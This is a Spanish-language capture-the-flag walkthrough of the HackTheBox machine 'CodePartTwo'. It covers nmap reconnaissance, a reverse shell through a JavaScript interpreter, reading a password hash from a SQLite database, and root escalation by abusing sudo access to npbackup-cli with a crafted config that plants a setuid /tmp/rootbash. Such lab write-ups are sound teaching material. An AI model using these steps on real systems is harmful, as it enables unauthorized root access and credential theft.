CodePartTwo
Aqui explicaré paso a paso lo que he hecho para resolver esta máquina de HTB.
Mapeo con nmap
Tanteamos el terreno
nmap -p- --open -n -Pn -vvv --min-rate 5000 10.10.11.82 -oX targeted.xml
Luego lo transformamos a html y lo visualizamos de la siguiente manera:
xsltproc targeted.xml > targeted.html
xdg-open targeted.html

Ahora hacemos un analisis más profundo:
nmap -p22,8000 -sCV 10.10.11.82 -oX fullScan.xml
Repetimos el proceso de transformación:
xsltproc fullScan.xml > full.html
xdg-open full.html

Ver vulnerabilidades
Primeramente añadimos a /etc/hosts la ip de la máquina victima con sus respectivos nombres:
10.10.11.82 codetwo.htb codetwo
Acceso a la página

Debemos crear una cuenta. No obstante probamos credenciales básicas para ver si podemos ganar acceso como administrador, no sirve. Una vez creamos la cuenta, se observa un interprete de JS. Obviamente, todo hace indicar que debemos explotarlo. Para ello, hago uso de un script en python que nos permitirá obtener un revert shell.
Una vez accedemos al sistema de la máquina victima, deberemos ejecutar los siguientes comandos para trabajar más comodamente:
En la shell de la máquina vicitima:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Pulsamos Ctrl + Z para suspender.
Seguidamente, en nuestra terminal:
stty raw -echo; fg
Ahora ya podremos tener la terminal sin preocuparnos de cerrarla accidentalemente con Ctrl + C. No obstante, deberemos escribir lo siguiente:
export TERM=xterm
stty columns 44 rows 128 #Deberemos ver el tamaño de nuestra terminal con stty size
Listo.
Obtener las flags
El siguiente paso será obtener la flag de user.txt. Para ello, deberemos listar usuarios del sistema y saber en donde nos encontramos.
En esta ocasión, somos el usuario app y no poseemos ningun permiso relevante. Sin embargo, tenemos acceso al directorio app, y, curiosamente, dentro de instance, hay una base de datos, users.db. Accedemos a ella usando sqlite3, listamos las tablas y oh sorpresa, hay una tabla llamada user.

EL usuario marco se encuentra en el sistema y parece que tenemos su contraseña. La obtenemos con hashes y nos dá la siguiente salida.

Probamos suerte y efectivamente, estamos dentro con el usuario marco.

Ya podemos obtener la bandera del usuario:

Escalada de privilegios
Si usamos el comando:
sudo -l
Vemos que tenemeos accesso como root para ejecutar un script un tanto curioso: /usr/local/bin/npbackup-cli.
Si nos fijamos en el script:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from npbackup.__main__ import main
if __name__ == '__main__':
# Block restricted flag
if '--external-backend-binary' in sys.argv:
print("Error: '--external-backend-binary' flag is restricted for use.")
sys.exit(1)
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
Y en /home/marco:
Archivo: npbackup.conf
Pues ya tenemos la manera de escalar privilegios.
Primero, dado que tenemos permisos en nuestro directorio siendo marco, copiamos npbackup.conf y le damos un nombre que nos servirá para luego. Le nombraré como boom.conf.
Dentro deberemos cambiar varias cosas: Remplazaremos:
- En path, de /home/app/app/ a /usr/lib.
- En post_exec_commands de [ ] a [/bin/cp /bin/bash /tmp/rootbash;/bin/chmod +s /tmp/rootbash].
- En minimum_backup_age deberemos indicar el valor 0.
Ahora solo deberemos ejecutar el script indicandole la ruta de nuestro archivo de configuración:
sudo /usr/local/bin/npbackup-cli -c /home/marco/boom.conf -b
Y lo detenemos con Ctrl + C. Para volver a ejecutar el mismo comando:
sudo /usr/local/bin/npbackup-cli -c /home/marco/boom.conf -b
Esperamos que termine y accedemos a nuestra terminal como root de la siguiente manera:
/tmp/rootbash -p
Y ya estaría:

Resultado

Escrito por: Iñaki Spinardi